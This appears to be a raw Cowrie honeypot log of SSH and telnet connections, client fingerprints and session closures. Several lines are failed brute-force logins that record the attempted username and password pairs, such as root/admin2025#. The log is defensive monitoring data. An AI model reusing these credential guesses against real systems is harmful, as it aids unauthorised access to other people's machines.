{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:16.222751Z","src_ip":"187.141.71.166","session":"a11dabe2a9a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pwlamea123","message":"login attempt [ubuntu/pwlamea123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:16.754704Z","src_ip":"187.141.71.166","session":"a11dabe2a9a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:16.949565Z","src_ip":"150.95.157.171","session":"5907fefa3554","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:17.880827Z","src_ip":"187.141.71.166","session":"a11dabe2a9a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":32860,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c4e479df193","protocol":"telnet","message":"New connection: 134.209.8.29:32860 (159.203.135.109:23) [session: 3c4e479df193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:17.998820Z"}
{"eventid":"cowrie.session.closed","duration":13.46947193145752,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:21.391062Z","src_ip":"41.79.64.126","session":"bd63f677cc0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.1165988445282,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:22.137413Z","src_ip":"134.209.8.29","session":"5b95d433f2b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.65319061279297,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:24.030617Z","src_ip":"134.209.8.29","session":"98429bbc0651","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59552,"dst_ip":"159.203.135.109","dst_port":23,"session":"98744ff0f1f1","protocol":"telnet","message":"New connection: 134.209.8.29:59552 (159.203.135.109:23) [session: 98744ff0f1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:28.589052Z"}
{"eventid":"cowrie.session.closed","duration":30.548263549804688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:31.157231Z","src_ip":"194.233.64.34","session":"c056643ab0cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59564,"dst_ip":"159.203.135.109","dst_port":23,"session":"23ee026f0218","protocol":"telnet","message":"New connection: 134.209.8.29:59564 (159.203.135.109:23) [session: 23ee026f0218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:31.652704Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59576,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a95b9d497da","protocol":"telnet","message":"New connection: 134.209.8.29:59576 (159.203.135.109:23) [session: 2a95b9d497da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:32.419874Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59718,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e05877cf802","protocol":"telnet","message":"New connection: 134.209.8.29:59718 (159.203.135.109:23) [session: 7e05877cf802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:34.964856Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":53588,"dst_ip":"10.17.0.5","dst_port":22,"session":"1857e3c70cab","protocol":"ssh","message":"New connection: 148.216.28.11:53588 (10.17.0.5:22) [session: 1857e3c70cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:37.237109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:37.241653Z","src_ip":"148.216.28.11","session":"1857e3c70cab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:37.309098Z","src_ip":"148.216.28.11","session":"1857e3c70cab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"131313","message":"login attempt [user/131313] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:37.610836Z","src_ip":"148.216.28.11","session":"1857e3c70cab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59722,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4fbf8d0d07e","protocol":"telnet","message":"New connection: 134.209.8.29:59722 (159.203.135.109:23) [session: d4fbf8d0d07e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:38.004645Z"}
{"eventid":"cowrie.session.closed","duration":6.997075319290161,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:38.649655Z","src_ip":"134.209.8.29","session":"23ee026f0218","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:38.679819Z","src_ip":"148.216.28.11","session":"1857e3c70cab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59738,"dst_ip":"159.203.135.109","dst_port":23,"session":"24c3fccd6a9f","protocol":"telnet","message":"New connection: 134.209.8.29:59738 (159.203.135.109:23) [session: 24c3fccd6a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:39.756998Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":59086,"dst_ip":"10.17.0.5","dst_port":22,"session":"b48620505d29","protocol":"ssh","message":"New connection: 147.50.231.135:59086 (10.17.0.5:22) [session: b48620505d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:40.535644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:40.539938Z","src_ip":"147.50.231.135","session":"b48620505d29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59570,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3d767d6f249","protocol":"telnet","message":"New connection: 134.209.8.29:59570 (159.203.135.109:23) [session: d3d767d6f249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:40.562350Z"}
{"eventid":"cowrie.session.closed","duration":0.004546403884887695,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:40.566778Z","src_ip":"134.209.8.29","session":"d3d767d6f249","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:40.811798Z","src_ip":"147.50.231.135","session":"b48620505d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"!QAZxsw2.","message":"login attempt [test/!QAZxsw2.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:41.911031Z","src_ip":"147.50.231.135","session":"b48620505d29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":47104,"dst_ip":"10.17.0.5","dst_port":22,"session":"77468462a49c","protocol":"ssh","message":"New connection: 34.135.200.178:47104 (10.17.0.5:22) [session: 77468462a49c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:43.112707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:43.116786Z","src_ip":"34.135.200.178","session":"77468462a49c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:43.151896Z","src_ip":"34.135.200.178","session":"77468462a49c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:43.177278Z","src_ip":"147.50.231.135","session":"b48620505d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2020","message":"login attempt [admin/2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:43.324449Z","src_ip":"34.135.200.178","session":"77468462a49c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:44.362865Z","src_ip":"34.135.200.178","session":"77468462a49c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.53004169464111,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:48.497592Z","src_ip":"134.209.8.29","session":"c7c6ef5f6abb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":37750,"dst_ip":"159.203.135.109","dst_port":23,"session":"d06bb8ea9b8a","protocol":"telnet","message":"New connection: 134.209.8.29:37750 (159.203.135.109:23) [session: d06bb8ea9b8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:54.861101Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":37764,"dst_ip":"159.203.135.109","dst_port":23,"session":"f365343de683","protocol":"telnet","message":"New connection: 134.209.8.29:37764 (159.203.135.109:23) [session: f365343de683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:57.451409Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":46586,"dst_ip":"159.203.135.109","dst_port":22,"session":"d43d007966bf","protocol":"ssh","message":"New connection: 165.22.63.98:46586 (159.203.135.109:22) [session: d43d007966bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:59.733428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:59.737768Z","src_ip":"165.22.63.98","session":"d43d007966bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:59.974228Z","src_ip":"165.22.63.98","session":"d43d007966bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2025#","message":"login attempt [root/admin2025#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:00.976928Z","src_ip":"165.22.63.98","session":"d43d007966bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:02.215929Z","src_ip":"165.22.63.98","session":"d43d007966bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":33026,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d33347e2f45","protocol":"telnet","message":"New connection: 134.209.8.29:33026 (159.203.135.109:23) [session: 3d33347e2f45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:04.294988Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":33040,"dst_ip":"159.203.135.109","dst_port":23,"session":"e94d0ef020c5","protocol":"telnet","message":"New connection: 134.209.8.29:33040 (159.203.135.109:23) [session: e94d0ef020c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:05.089090Z"}
{"eventid":"cowrie.session.closed","duration":38.95974683761597,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:07.548694Z","src_ip":"134.209.8.29","session":"98744ff0f1f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.94021487236023,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:07.938920Z","src_ip":"134.209.8.29","session":"3c4e479df193","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":36700,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ec6e7e25e38","protocol":"ssh","message":"New connection: 187.141.71.166:36700 (159.203.135.109:22) [session: 8ec6e7e25e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:07.958446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:07.962751Z","src_ip":"187.141.71.166","session":"8ec6e7e25e38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:08.085314Z","src_ip":"187.141.71.166","session":"8ec6e7e25e38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@1234567890","message":"login attempt [root/admin@1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:08.607584Z","src_ip":"187.141.71.166","session":"8ec6e7e25e38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:09.734194Z","src_ip":"187.141.71.166","session":"8ec6e7e25e38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":36688,"dst_ip":"10.17.0.5","dst_port":22,"session":"a148051c49d8","protocol":"ssh","message":"New connection: 150.95.157.171:36688 (10.17.0.5:22) [session: a148051c49d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:13.306699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:08:13.310810Z","src_ip":"150.95.157.171","session":"a148051c49d8","protocol":"ssh"}
